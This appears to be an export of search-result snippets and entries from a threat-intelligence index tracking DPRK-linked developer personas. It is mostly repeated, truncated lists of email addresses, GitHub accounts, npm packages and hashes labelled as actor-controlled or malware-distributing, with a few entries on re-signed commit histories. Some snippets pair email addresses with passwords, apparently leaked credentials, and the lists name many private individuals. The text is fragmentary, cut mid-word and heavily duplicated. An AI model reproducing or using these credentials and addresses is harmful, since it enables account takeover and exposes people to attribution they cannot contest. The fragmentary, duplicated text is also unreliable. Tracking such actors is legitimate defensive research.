danny.may.9012@gmail.com 123 darkhorse03111@gmail.com 123123 duartejose020202@gmail.com 123123123 enthusiastdev121@gmail.com bluesky3 itsolution1014@gmail.com asdasdasd jarrenjackson15@gmail.com Rst…","…orktalent@gmail.com dreamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8tydr4r@anonaddy.me eaglevision1120@gmail.com edmonddantes000313+1@gmail.com edmonddantes000313+2@gmail.com edmonddant…","…email insider N/A N/A DPRK developer email 2 nikola.radomic322@gmail.com email insider N/A N/A DPRK developer email 2 duykhanh.prodev@gmail.com email insider N/A N/A Git mirror developer identity 2 chebiinixon91@gmail.com email insider N/A N/A Git mirror developer identity 2…","…desmondwynn144@gmail.com devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com dv6305655@gmail.com dyanisteras15091999cuunn@hotmail.com elodieblanc0707@gmail.com emilylida0923@outlook.com ethoszephyrtrcac76000@hotmail.com…","…email insider N/A N/A Threat actor persona email 4 valerykrapiv@gmail.com email insider N/A N/A Threat actor persona email 4 dveretenov@gmail.com email insider N/A N/A Threat actor persona email 4 blbnlambert34@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 tramendo.L@outlook.com email insider N/A N/A Threat actor persona email 4 dyadkovdevelop@gmail.com email insider N/A N/A Threat actor persona email 4 tramendo.M@outlook.com email insider N/A N/A Threat actor persona email 4…","…devkotacorrado@googlemail.com dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com dv6305655@gmail.com dyanisteras15091999cuunn@hotmail.com elodieblanc0707@gmail.com emilylida0923@outlook.com ethoszephyrtrcac76000@hotmail.com EvalineVaraza63@hotmail.com…","…eamworld130362@gmail.com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8tydr4r@anonaddy.me eaglevision1120@gmail.com edmonddantes000313+1@gmail.com edmonddantes000313+2@gmail.com edmonddantes000313+32@gmail.co…","…account Year in Review samjanntapia@gmail.com email malware N/A June 2025 DPRK malware distributor GitLab.com account Year in Review dyup58725@gmail.com email malware N/A June 2025 DPRK malware distributor GitLab.com account Year in Review davidfernandez420@outlook.com email malware N/A…","…email insider N/A N/A Synthetic persona email 2 jonasvarga1@outlook.com email insider N/A N/A Synthetic persona email 2 dzholedinkov001@outlook.com email insider N/A N/A Synthetic persona email 2 LaszloEniko@outlook.com email insider N/A N/A Synthetic persona email 2…","…soto2819@gmail.com brooksliam534@gmail.com chris@wegrowup.us daisukeokitsugu@gmail.com denys@gmail.com designedcuratedamy58@gmail.com dzsignzdcuatzdamy@gmail.com eliteengineer0523@gmail.com excellentreporter321@gmail.com fairdev610@gmail.com ghostmaxim777@outlook.com hundredup2023@gmail.com huz…","…joaopebasso12@outlook.fr Rodrigonahuelsanchez1998@outlook.com.ar nurtissera@outlook.com aitbaunty@outlook.com e56372626@gmail.com denis0316@outlook.com dreamstone111@outlook.com gabrielamartinsghera@yahoo.com 331 MSMT Participating State…","….com driedcoffee0107@gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8tydr4r@anonaddy.me eaglevision1120@gmail.com edmonddantes000313+1@gmail.com edmonddantes000313+2@gmail.com edmonddantes000313+32@gmail.com edmonddantes000313@…","…brownroger <brownroger1999215@gmail.com> 2026-08-07 tailwindcss-motion-advanced (1.0.1) 2026-08-07 eagleeyehappy <eagleeyehappy@gmail.com> eth-mainnet.public.blastapi.io ${o}:80 ${r}:80 ${o}:443 https://eth-mainnet.public.blastapi.io http://${o}:80…","…gmail.com dsefogquw@email1.io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8tydr4r@anonaddy.me eaglevision1120@gmail.com edmonddantes000313+1@gmail.com edmonddantes000313+2@gmail.com edmonddantes000313+32@gmail.com edmonddantes000313@gmail.com edureka000306@ou…","…brightstar1116@outlook.com buyerlao@outlook.com casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com…","…19:18:14] Forest-KIH Hello, how are you? We're Kanggye Forest Information Tech Company. We sent 2000 (1980 after fee) USD to Ecoskyfarmsllc9@outlook.com from maksymshtun.llc@outlook.com on 2026-02-07. Could you please confirm it? Thank you! --- [2026-02-07 01:33:00] PC-1234 [image:…","…Payoneer account External 🟢 Confirmed MSTshimuli@outlook.com PC-1234 Payoneer account External 🟢 Confirmed Ecoskyfarmsllc9@outlook.com PC-1234 Payoneer account External 🟢 Confirmed Individual Operator Cover Accounts Cover Identity / Handle Linked…","…download counts, and linked GitHub repositories and accounts. is-buffer-validator : Published under the npm alias “edan0831” (email: edanjohn1991@gmail.com), this package has been downloaded 52 times.…","…stiegliz06@gmail.com kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com sobaka1525@outlook.com Vanesapaula81@outlook.com…","…yuleyuccaxoiqw85368@outlook.com bohdanstashkiv.bs@outlook.com brimstoneinkwellwugke88241@outlook.com edisonrippin@outlook.com erbanfceraswud8px@hotmail.com JonathonF1010@outlook.com khardenjenna510727@outlook.com kukurudza339@gmail.com…","…email insider N/A N/A Synthetic persona email 2 nanusevskitodor@gmail.com email insider N/A N/A Synthetic persona email 2 ediurmankovic.cc@gmail.com email insider N/A N/A Synthetic persona email 2 vuksanbojanic@gmail.com email insider N/A N/A Synthetic persona email 2…","…8tydr4r@anonaddy.me eaglevision1120@gmail.com edmonddantes000313+1@gmail.com edmonddantes000313+2@gmail.com edmonddantes000313+32@gmail.com edmonddantes000313@gmail.com edureka000306@outlook.com edwardschwartz1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhite…","….io dt1527699@gmail.com duartejose020202@gmail.com dusandjsh77@gmail.com dybbuk555@gmail.com e8tydr4r@anonaddy.me eaglevision1120@gmail.com edmonddantes000313+1@gmail.com edmonddantes000313+2@gmail.com edmonddantes000313+32@gmail.com edmonddantes000313@gmail.com edureka000306@outlook.com edwardschwartz1108@gm…","…on1120@gmail.com edmonddantes000313+1@gmail.com edmonddantes000313+2@gmail.com edmonddantes000313+32@gmail.com edmonddantes000313@gmail.com edureka000306@outlook.com edwardschwartz1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov…","…Review ben.moore0622@outlook.com email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review edward.harley@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review iwan.banicki@mail.io email malware…","…tes000313+1@gmail.com edmonddantes000313+2@gmail.com edmonddantes000313+32@gmail.com edmonddantes000313@gmail.com edureka000306@outlook.com edwardschwartz1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandloveco…","Read on 24 September 2026, following on from the entry \"GitHub accounts working in the same repositories as the Eric Liu persona\". Those accounts' repositories reappear, with their full commit history, in accounts that did not exist when the commits were made, and in these four the history has been re-signed so that every commit carries the new account's own identity.\n\ngithub.com/LoveNuna (account id 132131693) was created at 08:39 UTC on 29 April 2023 and created 30 of its 35 repositories on 24 May 2023. Twenty-four share a name with repositories on github.com/loveFeynman. LoveNuna/maui-frontend holds the nine commits made between 2 and 5 January 2022 in loveFeynman/maui-frontend, six by loveFeynman and three by the Eric Liu persona's vigorousdeveloper account, and all nine now read LoveNuna, marybarnett120@gmail.com. LoveNuna/glassflow_escrow does the same with the seven commits of 27 January to 4 February 2022 signed William Yu, and the 100 most recent commits of LoveNuna/human_marketplace match loveFeynman/human_marketplace one for one by timestamp and message. GitHub search attributes about 7,280 commits to the account, and every one of the 100 it returns is signed with that address; LoveNuna/maui_contracts carries such commits back to February 2021, more than two years before the account existed. LoveNuna and github.com/niceDeve, which this index holds from Coinmonks' reporting and which was created at 13:58 UTC the same day, follow each other.\n\ngithub.com/PeterPan627 (132125878) was created at 06:39 UTC on 29 April 2023. Its nft_staking matches loveFeynman/nft_staking commit for commit, 100 of 100 by timestamp and message and ending with loveFeynman's own \"the initial nft-staking project\" of 13 June 2022, and every commit is re-signed greatWall627, jackperry933jp@gmail.com; its HOPE-site, humans.io-frontend and NFT_Marketplace carry 2022 histories under the same name and address, all created on 21 June 2023. PeterPan627 and Calebtan978, filed in the entry above, follow each other, and niceDeve follows PeterPan627.\n\ngithub.com/LoveNui (133635970, created 15 May 2023) and github.com/SecretStar112 (133041735, created 9 May 2023) are tied to LoveNuna by its address rather than by copied code. The profile repository of each, the one GitHub shows as the account's own front page, carries a commit signed marybarnett12, marybarnett120@gmail.com: SecretStar112/SecretStar112 on the day it was created, 4 July 2023, and LoveNui/LoveNui on the day it was created, 15 July 2023. Both accounts follow LoveNuna. Their other commits are signed with their own addresses, yujinxian1212@gmail.com and yujinxian40@gmail.com for LoveNui and edwardxian062@gmail.com for SecretStar112, which are recorded here as those accounts' own.\n\nRe-signing a copied history is not an accident of forking, which keeps the original authors, and copying a public project is not in itself suspect. What these accounts show is narrower: work from the Eric Liu circle's repositories, including commits that persona made, presented as the new account's own experience from before the account existed. No persona name is attached, because none of the four presents one that a published source has tied to a person.\n\nTwo more accounts were reached on the same day by searching for the addresses above. github.com/margalingibhubclt (132131842) was created at 08:42 UTC on 29 April 2023, three minutes after LoveNuna, and the two follow each other. Its BlockChain_ICO_APP was created on 9 May 2023 and holds six commits signed marybarnett12, marybarnett120@gmail.com, LoveNuna's own address, from 8 and 9 May, beside one of its own; it signs its own commits genevagibbsg@gmail.com. github.com/supersenior017 (132121013) was created at 04:40 UTC the same morning. Its AIRM-CHARTBOT was created on 25 January 2024, and LoveNui committed into it fifteen times between 26 January and 15 February 2024, with yujinxian40@gmail.com and its own noreply address; supersenior017 signs its own commits hoj256274@gmail.com. These are not copies: in both, the commits from the group's addresses land in the days after the repository was created.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/headhunter705, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: edwin.fz.705@gmail.com authored 16 commits across the repository headhunter705/log-server, commits as \"headhunter705\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","…email insider N/A N/A Git mirror developer identity 2 gwanchi@gmail.com email insider N/A N/A Git mirror developer identity 2 efezinoukpowe@gmail.com email insider N/A N/A Git mirror developer identity 2 thnam0107@gmail.com email insider N/A N/A Git mirror developer identity 2…","…antes000313+2@gmail.com edmonddantes000313+32@gmail.com edmonddantes000313@gmail.com edureka000306@outlook.com edwardschwartz1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusias…","…edmonddantes000313+32@gmail.com edmonddantes000313@gmail.com edureka000306@outlook.com edwardschwartz1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9…","…l.com edmonddantes000313@gmail.com edureka000306@outlook.com edwardschwartz1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharring…","…devonventureinvest81368@gmail.com dhruvishah05828@outlook.com digitalhomesales97117@gmail.com dmitrypetrov71155@outlook.com elitecapitalgroup08563@gmail.com emmahousingexpert87469@gmail.com emmawills02165@gmail.com eurekasales07505@gmail.com evergreenrealtyteam12469@gmail.com…","…webstar1014 - weiyang.jin1202 - ychmdev - zuhalvalmerikh - 4899432@qq.com - babakwethr@gmail.com - Chenyin1g992@gmail.com - elitedev619@gmail.com - jupiter.softdev@gmail.com - larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com - mmarjs22@gmail.com -…","…m534@gmail.com chris@wegrowup.us daisukeokitsugu@gmail.com denys@gmail.com designedcuratedamy58@gmail.com dzsignzdcuatzdamy@gmail.com eliteengineer0523@gmail.com excellentreporter321@gmail.com fairdev610@gmail.com ghostmaxim777@outlook.com hundredup2023@gmail.com huzqur023@gmail.com info@versus…","…app.js file contained these email addresses: designedcuratedamy58@gmail.com (SENDER) daisukeoikitsugu@gmail.com (RECIPIENT) eliteengineer8523@gmail.com (AM) rockstar96954@gmail.com (RC) hundredup2023@gmail.com (TP) phoenixfire471@gmail.com (MM) awesomium430@gmail.com…","…Lucas Steve Moore #### Misc - never08mind25@gmail.com - github.com/neverm25 - denisleedragon@outlook.com - densyaou@gmail.com - eliteknightgold@outlook.com - github.com/Hiccup19940325 - jamescharlie94@outlook.com - lainhong1205@gmail.com - sunmoonlee.19900113@outlook.com -…","….com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com eliteknightgold@outlook.com superdev0292@gmail.com jamescharlie94@outlook.com denisleedragon@outlook.com ivandimov921016@outlook.com ZachXBT…","…mail.com edureka000306@outlook.com edwardschwartz1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com eric…","…chai-as-nobj 2026-04-15 graph first seen hello@jsonspack.com chai-as-optimized 2026-04-14 live registry ellerey_joachimjakie@outlook.com chai-as-refined 2026-04-14 graph first seen hello@jsonspack.com chai-as-type 2026-04-06 graph first seen…","…two commits from September 8 and November 10, 2025. GitHub Users: - m/markomilivojevic - James Smith Email Addresses: - James Smith <ellisfleming574@gmail.com> - Marko Milivojevic <milivojemarko@gmail.com> Domains: - vscode-bootstrapper.vercel.app ## Variant six - September 8, 2025 - Unique…","…repository desarrollovba@gmail.com Commits to malicious repository dev_group@outlook.com Commits to malicious repository ellisfleming574@gmail.com Commits to malicious repository eros.fabrici@gmail.com Commits to malicious repository ethvault20251129@outlook.com Commits to…","…kinchevaali@gmail.com sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com sobaka1525@outlook.com Vanesapaula81@outlook.com joaopebasso12@outlook.fr…","…dl249995@gmail.com dmytro604@outlook.com dreamjobsato@gmail.com dv6305655@gmail.com dyanisteras15091999cuunn@hotmail.com elodieblanc0707@gmail.com emilylida0923@outlook.com ethoszephyrtrcac76000@hotmail.com EvalineVaraza63@hotmail.com farrelvillarrealdngp170616@hotmail.com…","…, under the alextucker0519 GitHub account. react-event-dependency : Published under the npm alias “elondavid” (email: elondavid888@gmail.com), this package has 57 downloads.…","…developer accounts Year in Review deinsulabasil@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review elsaadanifaiek@hotmail.com email malware N/A N/A DPRK malware developer accounts Year in Review felipe.debarros@hotmail.com email malware N/A N/A DPRK malware…","…email insider N/A N/A Threat actor-controlled email 1 docker1001@outlook.com email insider N/A N/A Threat actor-controlled email 1 elvialc620@163.com email insider N/A N/A Threat actor-controlled email 1 emilyvanessaaa@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…@outlook.com edwardschwartz1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee90…","…907c5279529f4522f6f298f80b6786b461b9b41e74a5025306eefddbb1e073d0 2026-09-28 chaienv (1.0.2) 2026-09-28 elviscode <elvis.grimaldo112@outlook.com> ddf2efda031c3b87965a90be6f14265b4fb223352f5680ddd2b28e91258cc99b 2026-09-28 tailwind-contact-forms (0.5.5) 2026-09-28…","…email insider N/A N/A Synthetic persona email 2 nikolamilev166@gmail.com email insider N/A N/A Synthetic persona email 2 emil.rysinov@outlook.com email insider N/A N/A Synthetic persona email 2 vinkolukac.dev@outlook.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Synthetic persona email 2 tomislavjurak@outlook.com email insider N/A N/A Synthetic persona email 2 emilijan.hristov@outlook.com email insider N/A N/A Synthetic persona email 2 zoran.parlov@outlook.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Synthetic persona email 2 lazarbulatovic56@outlook.com email insider N/A N/A Synthetic persona email 2 emilkokolnska@gmail.com email insider N/A N/A Synthetic persona email 2 iacovlevguzun@outlook.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Synthetic persona email 2 dionizy.kohutek@outlook.com email insider N/A N/A Synthetic persona email 2 emilsvalina@outlook.com email insider N/A N/A Synthetic persona email 2 kostic.gordan@outlook.com email insider N/A N/A Synthetic persona email 2…","…business00747@gmail.com eric.c01.recruit@gmail.com hiring.dev.hr@gmail.com carrie.bale.recruit@gmail.com emilyjobs.rec2023@gmail.com mars.recruiting.hiring@gmail.com shauncepla.hrteam@gmail.com grace.chen.recruitment@gmail.com grace107jobs@gmail.com…","…dreamjobsato@gmail.com dv6305655@gmail.com dyanisteras15091999cuunn@hotmail.com elodieblanc0707@gmail.com emilylida0923@outlook.com ethoszephyrtrcac76000@hotmail.com EvalineVaraza63@hotmail.com farrelvillarrealdngp170616@hotmail.com felip2342@techspirehub.com…","…email insider N/A N/A Threat actor-controlled email 1 elvialc620@163.com email insider N/A N/A Threat actor-controlled email 1 emilyvanessaaa@gmail.com email insider N/A N/A Threat actor-controlled email 1 enrique122528@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Synthetic persona email 2 stojannastevski001@outlook.com email insider N/A N/A Synthetic persona email 2 emirapolloni@gmail.com email insider N/A N/A Synthetic persona email 2 gorantomik1@gmail.com email insider N/A N/A Synthetic persona email 2…","…dhruvishah05828@outlook.com digitalhomesales97117@gmail.com dmitrypetrov71155@outlook.com elitecapitalgroup08563@gmail.com emmahousingexpert87469@gmail.com emmawills02165@gmail.com eurekasales07505@gmail.com evergreenrealtyteam12469@gmail.com evergreenrealtor59192@gmail.com…","…May 2026 chrisyan@hr.pulsynk.org Email address Attacker-controlled email address May 2026 emmaparker@hr.recruitvex.us Email address Attacker-controlled email address May 2026 faithtedesco@hr.mailtrixauvex.ink Email…","…dmitrypetrov71155@outlook.com elitecapitalgroup08563@gmail.com emmahousingexpert87469@gmail.com emmawills02165@gmail.com eurekasales07505@gmail.com evergreenrealtyteam12469@gmail.com evergreenrealtor59192@gmail.com fasttrackhomes22444@gmail.com…","…in Review faelanholtmdjld41341@outlook.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review encar.geric727510@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review irynalavreniuk38@gmail.com email malware N/A…","…1108@gmail.com egghead.kenzo@gmail.com eliasforsberger@gmail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee9083@gmail.com ericsmith.star@g…","…email insider N/A N/A Threat actor-controlled email 1 emilyvanessaaa@gmail.com email insider N/A N/A Threat actor-controlled email 1 enrique122528@hotmail.com email insider N/A N/A Threat actor-controlled email 1 erasmusmadridtrops@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…qweQWE123!@# danny.may.9012@gmail.com 123 darkhorse03111@gmail.com 123123 duartejose020202@gmail.com 123123123 enthusiastdev121@gmail.com bluesky3 itsolution1014@gmail.com asdasdasd jarrenjackson15@gmail.com Rst jayevanslinkedin@gmail.com Jay231…","…insider N/A N/A Threat actor-controlled email 1 enrique122528@hotmail.com email insider N/A N/A Threat actor-controlled email 1 erasmusmadridtrops@gmail.com email insider N/A N/A Threat actor-controlled email 1 ericdoublin1111@yahoo.com email insider N/A N/A Threat actor-controlled email 1…","…/ Smart Ninja / DevSCNinja - coppn - lcoppn - 0x.bejaxer - eratos1123 - eratos1122 - cobang - bejaxer - 0x.bejaxer@gmail.com - eratos1123@gmail.com - github.com/cobang - github.com/bejaxer (Name: 0x A.K.) •…","…yuleyuccaxoiqw85368@outlook.com bohdanstashkiv.bs@outlook.com brimstoneinkwellwugke88241@outlook.com edisonrippin@outlook.com erbanfceraswud8px@hotmail.com JonathonF1010@outlook.com khardenjenna510727@outlook.com kukurudza339@gmail.com leowestbcqni01653@outlook.com…","Read on 28 September 2026 from the site's own page and the script bundles it loads. The contact block of a portfolio The Raven File names alongside the super124dev GitHub account gives an address, a phone number and a Skype id. The site is not tied to a named persona, so the set is filed unattributed.","…smartdevpro001@gmail.com - brentjeremynel@gmail.com - onetouch0525@gmail.com - kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com - donatelo212dunccine@gmail.com - ernestpapyan@gmail.com - topsmartpro@prolocalize.com -…","…islaw@gmail.com smartdevpro001@gmail.com brentjeremynel@gmail.com onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610…","…Email Addresses alexander0110819@outlook.com maria.sam.recruiter@gmail.com toptalent0921@gmail.com business00747@gmail.com eric.c01.recruit@gmail.com hiring.dev.hr@gmail.com carrie.bale.recruit@gmail.com emilyjobs.rec2023@gmail.com mars.recruiting.hiring@gmail.com…","…mail.com elijahrobersone@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee9083@gmail.com ericsmith.star@gmail.com ericvadim23@gmail.com erosgod19921118@gm…","…insider N/A N/A Threat actor-controlled email 1 erasmusmadridtrops@gmail.com email insider N/A N/A Threat actor-controlled email 1 ericdoublin1111@yahoo.com email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…ne@gmail.com eliwhitedev@gmail.com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee9083@gmail.com ericsmith.star@gmail.com ericvadim23@gmail.com erosgod19921118@gmail.com etd.multidisciplinary@…","….com elvinmamedov0308@gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee9083@gmail.com ericsmith.star@gmail.com ericvadim23@gmail.com erosgod19921118@gmail.com etd.multidisciplinary@gmail.com eugenedanner…","…gmail.com enjoyandlovecoding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee9083@gmail.com ericsmith.star@gmail.com ericvadim23@gmail.com erosgod19921118@gmail.com etd.multidisciplinary@gmail.com eugenedanner0105@gmail.com f.a.lth…","…coding@gmail.com enthusiastdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee9083@gmail.com ericsmith.star@gmail.com ericvadim23@gmail.com erosgod19921118@gmail.com etd.multidisciplinary@gmail.com eugenedanner0105@gmail.com f.a.lth.e.jak.se.n@gmail.com fai…","…stdev121@gmail.com ericchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee9083@gmail.com ericsmith.star@gmail.com ericvadim23@gmail.com erosgod19921118@gmail.com etd.multidisciplinary@gmail.com eugenedanner0105@gmail.com f.a.lth.e.jak.se.n@gmail.com fairyland0926@gmail.com f…","…in Review jamesgolden198852@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review erik423131@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review alfredogomez1984126@gmail.com email malware…","…3ea767ec14d82d321974e85eb8d97aab675e9661eaba5bd5ed488a8923b8ef9a 2026-08-11 js-assert-plus (1.0.0) 2026-08-11 erikfine <erikfinkel21@gmail.com> 46543bececc793d6150af132e1ba48d0be2b61cc22dc2b2408a1ed3e23eeddfb 784eb60d6fb6ab5e774e497846be486d66059239c3bd6dc2c33426a9537dd547…","…email insider N/A N/A Synthetic persona email 2 antoninowak12@outlook.com email insider N/A N/A Synthetic persona email 2 erikslamka1@gmail.com email insider N/A N/A Synthetic persona email 2 kostasmichalakakou@gmail.com email insider N/A N/A Synthetic persona email 2…","…) · Lancers.jp Japan · Payoneer (Unity) External 🟢 Confirmed @12-jms Group 12 Jang Myong Song Cover: \"Erkin Xabibulloyev\" (erkinxabibulloyev@gmail.com[email protected] ) · DOB 1991-09-19 · National Bank of Uzbekistan (account number redacted) · Payoneer (Unity) External 🟢 Confirmed…","…· Lancers.jp Japan · Payoneer (Unity) External 🟢 Confirmed @12-jms Group 12 Jang Myong Song Cover: \"Erkin Xabibulloyev\" (erkinxabibulloyev@gmail.com) · DOB 1991-09-19 · National Bank of Uzbekistan (account number redacted) · Payoneer (Unity) External 🟢 Confirmed GROUP 5 - kut-five…","…kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com - donatelo212dunccine@gmail.com - ernestpapyan@gmail.com - topsmartpro@prolocalize.com - yatsukalbert@outlook.com - talentdev610@gmail.com - leonpower123@outlook.com -…","…h0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail…","…in Review welbykchamu4i72@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review eron4236@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review reddixyxzh551438@hotmail.com email malware…","…awed33@outlook.kr belendong40@gmail.com brandonleeodd.93@gmail.com contrasde@outlook.kr devlion413@gmail.com eros1030109@gmail.com hera1030109@gmail.com holowin401@gmail.com holowin@gmail.com jecoma@outlook.kr johnstones19850308@gmail.com…","…quickly rolled out to new brands and to withstand the takedown of individual domains. Attribution Super-Administrator of the Consoles: eros1030109@gmail.com The administration consoles provide a TypeScript source file, superAdmin.ts , which grants full privileges to a hard-coded email…","…repository dev_group@outlook.com Commits to malicious repository ellisfleming574@gmail.com Commits to malicious repository eros.fabrici@gmail.com Commits to malicious repository ethvault20251129@outlook.com Commits to malicious repository ezraloomis.gears@gmail.com Commits to…","…repo was published today December 1, 2025 GitHub Users: - eferos93 - andrew_watson - koinos-finance Email Addresses: - Eros Fabrici <eros.fabrici@gmail.com> - John Desmet <johndesmet814@gmail.com> - andrew_watson <andrew_watson@koinos.us> Domains: - vscode-bootstrapper.vercel.app ##…","…cchi9421@gmail.com erickharrington6150@gmail.com ericlee4989@gmail.com ericlee9083@gmail.com ericsmith.star@gmail.com ericvadim23@gmail.com erosgod19921118@gmail.com etd.multidisciplinary@gmail.com eugenedanner0105@gmail.com f.a.lth.e.jak.se.n@gmail.com fairyland0926@gmail.com fantasticdev1992@gmail.com…","…insider N/A N/A Threat actor-controlled email 1 ericdoublin1111@yahoo.com email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro@gmail.com email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro@gmail.com email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro@hotmail.com email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro1@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro@hotmail.com email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro1@gmail.com email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro1@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro1@gmail.com email insider N/A N/A Threat actor-controlled email 1 eruqulpuaro1@hotmail.com email insider N/A N/A Threat actor-controlled email 1 fangshan2019@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","A three-post thread opening \"Just a DPRK boyz (same boy) GitHub accts\", followed by two posts reading \"Few mo\". Every account is transcribed by hand from the twelve attached profile captures. The researcher states that all twelve belong to one operator but never names that operator, so they are recorded as an attributed set without a persona rather than under a name this site would have had to invent. Two of the captures corroborate the grouping from inside: the AngelCat0990 account's only repository is a fork of one belonging to 3D-Dev, and the proactive-dev and prodev90 accounts present under near-identical display names. The address is transcribed from the Anton-Dev97 profile, whose biography reads \"Senior Software Developer and Hacker Team Leader\" followed by it. One of the twelve has since changed hands. The 3D-Dev login was checked on 1 